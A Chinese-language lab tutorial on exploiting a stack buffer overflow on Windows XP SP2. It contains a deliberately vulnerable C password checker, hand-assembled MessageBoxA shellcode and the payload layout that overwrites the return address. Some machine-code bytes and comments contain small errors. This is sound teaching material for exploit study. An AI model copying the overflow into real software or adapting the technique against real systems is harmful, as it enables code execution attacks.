0day_0x00_基本代码注入
| 操作系统 | Windows xp sp2 |
| 调试工具 | Ollydbg |
| 编译器 | Visual C++6.0 |
| 编译选项 | 默认编译选项 |
| build版本 | debug版本 |
基本原理:基于一个密钥登陆,输入已经调式好的shellcode,并修改返回地址指向shellcode,这里的shellcode为一个弹窗,也可以是其他任何危险函数或操作。
#include <stdio.h>
#include <windows.h>
#define PASSWORD "1234567"
int verify_password(char *password)
{
int authenticated ;
char buffer [44];
authenticated = strcmp(password,PASSWORD);
strcpy(buffer,password);//over flowed here !此处就是溢出点
return authenticated;
}
main()
{
int vaild_flag = 0;
char password [1024];
FILE *fp;
LoadLibrary("user32.dll");//这个是为了方便调用Windows接口函数
if(!(fp = fopen("password.txt","rw+")))//文件里面存放shellcode等一些填充物
{
printf("error!\n");
exit(0);
}
fscanf(fp,"%s",password);
vaild_flag = verify_password(password);
if(vaild_flag)
{
printf("incorrent password!\n");
}
else
{
printf("Congratulation ! You have passed the verifypassword!\n");
}
fclose(fp);
}
- 根据上述代码我们可以知晓,这里是程序员误将1024大小的数组复制给了44大小的数组,这就给了我们溢出的机会和足够的发挥空间,根据函数调用栈的原理,我们知道,verify_password函数的栈空间应为:
也就是说我们需要填充44+4+4个字节的值才能达到返回地址,并且在第53——56各字节上填入我们的shellcode的 地址。
- 接下来我们先构造shellcode,我们打算弹出一个弹窗,那么就得找到弹窗函数所在的地址,
- 安装Visual C++ 6.0时有一个工具,在安装目录下的common/tools/defends 。打开这个工具,并且找一个具有图形界面的软件拖入其中(有图形界面是为了保证有user32.dll这个库。)
可见,1表是user32.dll的基址;在点击2 的位置,并在3所示的框中找到message BoxA,或者messageboxexA,因为有时候会涉及到字符串截断问题,所以大家可以根据自己的系统上的地址来选择;
这样我们就得到了messageboxexA 的地址为0x77D10000+0x0004057D=0x77D5057D;- 接下来就可以写汇编语言来调用函数了:
机器代码: 3EDB XOR EBX,EBX ;EBX清零入栈,作为字符串的截断 53 PUSH EBX 6877657374 PUSH 74736577 686661696C PUSH 6C696166 ;此为failwest的Ascii码 8BC4 MOV EAX,ESP ;ESP 作为刚刚输入的字符串的指针复制给ESP 53 PUSH EBX 50 PUSH EAX 50 PUSH EAX 53 PUSH EBX ;参数入栈从右向左(0,failwest,failwest,0) B87D05D577 MOV EAX 0X77D5057D;函数地址 FFD0 CALL EAX ;调用函数
根据shellcode可知有26个字节,接下来要找到shellcode的地址。 - 我们可以先用二进制编码器将这26个字节写入文件password.txt 中,然后使用ollydbg来加载这个exe文件查看shellcode的地址
- 二进制编码器推荐使用BZ,下载地址——点击这里;


可见shellcode的地址为0x0012FAF0
这样的话我们就可以构造出我们的payload了,结构大致如下:
| 26字节的shellcode | 26字节的0x90,任意填充物 | 4字节的 地址(0x0012FAF0) |

执行结果:


产生这个错误的原因是我们并没有为它设置安全退出的shellcode

浙公网安备 33010602011771号